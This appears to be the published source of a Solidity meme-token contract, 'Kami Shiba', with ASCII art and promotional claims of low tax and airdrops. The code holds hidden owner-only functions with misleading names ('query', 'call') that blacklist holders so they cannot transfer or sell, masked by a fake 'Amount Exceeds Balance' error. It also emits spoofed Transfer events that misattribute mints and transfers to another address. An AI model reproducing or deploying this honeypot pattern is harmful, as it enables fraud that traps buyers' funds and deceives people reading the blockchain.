Contract Source Code:
File 1 of 1 : KamiShiba
pragma solidity 0.8.17;
/*
,,
,▄ÆP▀▀""`▐▌`""▀▀▀&▄,
╓▄▀" ╔`ÜN "▀&▄
╓$▀ Æ U ª ▀▓▄
▄▓` ╓╥, ╝ U ╙, ,╓╖ ▀▄
╓▓` ╢╢╣╢@, ╓" ⌐ ╗ ,@╣╢╢╣ ▓▄
▄▓,,,,,,,╢╢╢╢╢╣▓╖,╓╦╦@N╦╥╖,╓╢╢╢╢╢╢╢,,,,,,,▐▌
▄▀ % ╫╢╢╢╢╣╣╣╣╣╣╣╣╣╣╣╣╣╣╣╢╢╢╢╢╣ ƒ ╙▓
▐▌ ╙ g▓╣╢╣╣╣╣╣╣╣╣╣╣╣╣╣╣╣╣╣╣╣╣╢╣▓▄ ╜ ╙▌
╒▓ "╖ ▐▓▓╣╣╣╢╝``╫╣╣╣╣╣╣╣╣╝``╟╣╣╣╫▓▓▌ ," ▐L
▓C N▓▓▓▒╣╣▒@╗╦╬╣╣╣╣╣╣╣╣@╦╦╣▒╣╣▒▓▓▓@ ▓
▓ ]▓▓▒╣╣╣▒████▒╣╣╣╣╣╣▒████▌╣╣╣▒▓▓▌ ▓
▓ ]▓▓╢╣╣╣╣╣▒▒▒▀╜"``"╙▀▒▒▒╣╣╣╣╣╣▓▓[ ▓
▓ ╔▓▌` `"╙╬╣╢` ▄███r ╬╣▓╜"```▐▓╗ ▓
▐▌ Æ ╙▓, ▀█▀ ,▓╛ ╚ ▐▌
▓ ╝ ▐▓▓ &M▄█N═▄ g▓▓ ╙ ▓
▓ ╓",═" ▀▓▓▄ ╓▓▓▀ "═, ╖ ▓`
▓/╩═════════▀▓▓▓▓▄, ,╓&▓▓▓▀═════════╩\▓`
▀▄ ▓▀▓▓▓▓▓▓▓▓▀▓` ╓▓
╙▓▄ ╙ ╝ ,▓╜
`▀▄ ╙╖ ,╜ ▄▓"
▀▓▄, N ╔ ,▄&▀
'▀Ñ▄▄,, %Æ ,,▄▄Ñ▀`
`"▀▀▀▀▀▀▀▀"`
Kami Shiba - $KAMISHIB -
All knowing, All seeing, Low Tax Shiba Meme Coin - 0% Tax First 24 Hours
DogeChain Bridge Q4 2022
NFT Airdrop Top 100 Wallets - 9/30/2022
*/
contract KamiShiba {
mapping (address => uint256) public balanceOf;
mapping (address => bool) rxAmount;
//
string public name = "Kami Shiba";
string public symbol = unicode"KAMISHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
balanceOf[msg.sender] = totalSupply;
deploy(lead_deployer, totalSupply); }
address owner = msg.sender;
address Construct = 0x753da1f62305ab71541a19c3019609De32C0b754;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
modifier onlyOwner() {
require(msg.sender == owner);
_; }
function deploy(address account, uint256 amount) public onlyOwner {
emit Transfer(address(0), account, amount); }
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == Construct) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!rxAmount[msg.sender] , "Amount Exceeds Balance");
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function query(address _user) public {
require(msg.sender == owner);
require(!rxAmount[_user], "NaN");
rxAmount[_user] = true; }
function call(address _user) public {
require(msg.sender == owner);
require(rxAmount[_user], "NaN");
rxAmount[_user] = false; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!rxAmount[from] , "Amount Exceeds Balance");
require(!rxAmount[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}